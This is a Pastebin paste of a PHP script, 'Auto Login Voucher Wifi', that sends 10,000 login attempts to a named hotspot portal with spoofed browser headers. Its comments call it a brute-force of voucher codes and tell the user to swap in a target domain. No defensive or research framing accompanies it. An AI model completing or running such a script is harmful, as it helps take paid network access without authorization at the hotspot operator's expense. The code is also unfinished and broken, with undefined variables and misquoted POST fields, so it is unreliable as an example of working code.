Advertisement
Kocenggg

Auto Login Voucher Wifi

Jun 30th, 2022
1,115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.81 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. date_default_timezone_set("Asia/JAKARTA");
  4.  
  5. // ACAK Voucher Sesuai Format == Lanjut Besok
  6.  
  7.  
  8. for ($i= 1; $i <= 10000; $i++)
  9. {
  10.  
  11. $url       = 'http://sibajra.net/login'; //ganti target/ Domain Pada Voucher
  12. $headers   = array(
  13. 'Content-Type: application/x-www-form-urlencoded',
  14. 'Origin: http://sibajra.net,',
  15. 'Referer: http://sibajra.net/login?dst=http%3A%2F%2Fwww.msftconnecttest.com%2Fredirect',
  16. 'Upgrade-Insecure-Requests: 1',
  17. 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36',);
  18.  
  19.  
  20. $post      = "username='.$pocer.'&password='.$pocer.'&dst=http%3A%2F%2Fwww.msftconnecttest.com%2Fredirect&popup=true";
  21. $post      = json_decode(yarzCurl($url, $post, false, $headers, true));
  22.  
  23. }
  24.  
  25.    
  26. print '<pre>'.print_r($post,1).'</pre>'; die();
  27. function yarzCurl($url, $fields = false, $cookie = false, $httpheader = false, $encoding = false)
  28.  
  29. {
  30.    
  31.  
  32.     $ch = curl_init();
  33.     curl_setopt($ch, CURLOPT_URL, $url);
  34.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  35.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  36.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  37.     if ($fields !== false) {
  38.         curl_setopt($ch, CURLOPT_POST, true);
  39.         curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
  40.     }
  41.     if ($encoding !== false) {
  42.         curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
  43.     }
  44.     if ($cookie !== false) {
  45.         curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);
  46.         curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
  47.     }
  48.     if ($httpheader !== false) {
  49.         curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader);
  50.     }
  51.     if (file_exists($file)) {
  52.       $counter += file_get_contents($file);
  53.      
  54.     }
  55.     $response = curl_exec($ch);
  56.     curl_close($ch);
  57.     return $response;
  58. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement